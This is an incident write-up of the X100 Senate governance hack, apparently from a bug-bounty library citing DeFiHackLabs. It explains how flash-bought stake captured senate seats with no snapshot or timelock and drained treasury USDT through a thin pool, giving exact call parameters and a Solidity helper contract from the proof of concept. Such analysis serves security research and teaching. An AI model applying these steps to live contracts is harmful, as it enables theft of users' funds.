# X100 Senate: same-block governance capture drains treasury

X100 Senate governance had no snapshot or timelock, letting an attacker flash-buy X, seize 2 of 3 seats, and drain ~4.75M USDT from the treasury via a manipulated v3Swap.

- Payout: Real-world hack
- Severity: critical
- Program: X100Senate
- Analysis by: DeFiHackLabs
- Disclosed: 2026-10-24
- Write-up quality: 9/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-10/X100Senate_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261024-x100senate
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:access-control vuln:business-logic vuln:flash-loan vuln:governance vuln:oracle-manipulation

**Target:** Stake-weighted governance contract with DexTreasury v3Swap on Ethereum
**Root cause:** Senate seats are ranked by live frozen stake with no snapshot, applyForSenate is permissionless, and propose/vote/execute have no timelock so all run in one block. execute() self-calls DexTreasury.v3Swap, which only checks onlySenate and a dexSellCap, allowing a treasury sell into an attacker-controlled thin pool.
**Steps:**
1. Flash borrow 1,942,457.64 USDT from Aave V3 `flashLoanSimple`.
2. Buy 38,200 X on the deep Uniswap V3 X/USDT pool via `exactOutputSingle`.
3. Deploy two Senator helpers, fund each with 19,100 X; each calls `freeze(0, 19000e6, address(0))` then `applyForSenate()` paying 100 X fee, seizing 2 of 3 seats.
4. Create PancakeV3 X/USDT pool via factory, `initialize(806000000000000000000000000)` (~0.0001 USDT/X), mint single-sided 100 USDT position in ticks [-100000,-92000].
5. senatorA.propose() a `v3Swap(1, X, USDT, 100, 400000e6, 0)` selling 400,000 treasury X into the thin pool; senatorB votes For; execute() in same tx.
6. Burn the PancakeV3 position to reclaim ~400,000 X, sell on deep Uniswap pool for USDT, repay flash loan, keep ~4,749,726 USDT.
**How found:** Recon on the verified Senate source revealed no snapshot, no timelock, permissionless applyForSenate, and execute() self-calling a whitelisted v3Swap guarded only by onlySenate and a dexSellCap — enabling same-block propose/vote/execute with flash-bought stake.
**Exploitation:** Flash loan funds buy X to acquire senate majority; attacker creates a thin PancakeV3 pool at a manipulated price, passes a proposal to sell 400k treasury X into it for ~35 USDT, then burns the LP position to recover the X and dumps it on the deep Uniswap pool for real USDT, repaying the flash loan and netting ~4.75M USDT.
**Escalation:** Chained flash loan + governance capture + attacker-controlled AMM pool + treasury self-call to convert a capped treasury sell into full treasury drain.
**Insight:** When governance ranks seats by live stake with no snapshot and no voting delay, flash-buying the token lets you pass proposals atomically; check whether execute() self-calls a treasury function whose only guard is msg.sender==address(this), and whether a sell cap can be bypassed by routing into an attacker-created pool at a manipulated price.

## Proof of concept (copied exactly from the original report)

**Senator helper contract with seize/propose/vote**

```
contract Senator {
    address internal immutable owner;
    IX100Senate internal immutable senate;
    IERC20Like internal immutable x;

    uint256 internal constant CANDIDACY_FEE = 100e6; // 100 X, 6 decimals

    constructor(IX100Senate senate_, IERC20Like x_) {
        owner = msg.sender;
        senate = senate_;
        x = x_;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    function seize(uint256 freezeAmount) external onlyOwner {
        x.approve(address(senate), freezeAmount + CANDIDACY_FEE);
        senate.freeze(0, freezeAmount, address(0));
        senate.applyForSenate();
    }

    function propose(bytes calldata data) external onlyOwner returns (uint256 id) {
        id = senate.propose(data, "treasury rebalance");
    }

    function vote(uint256 id) external onlyOwner {
        senate.vote(id, true);
    }
}
```

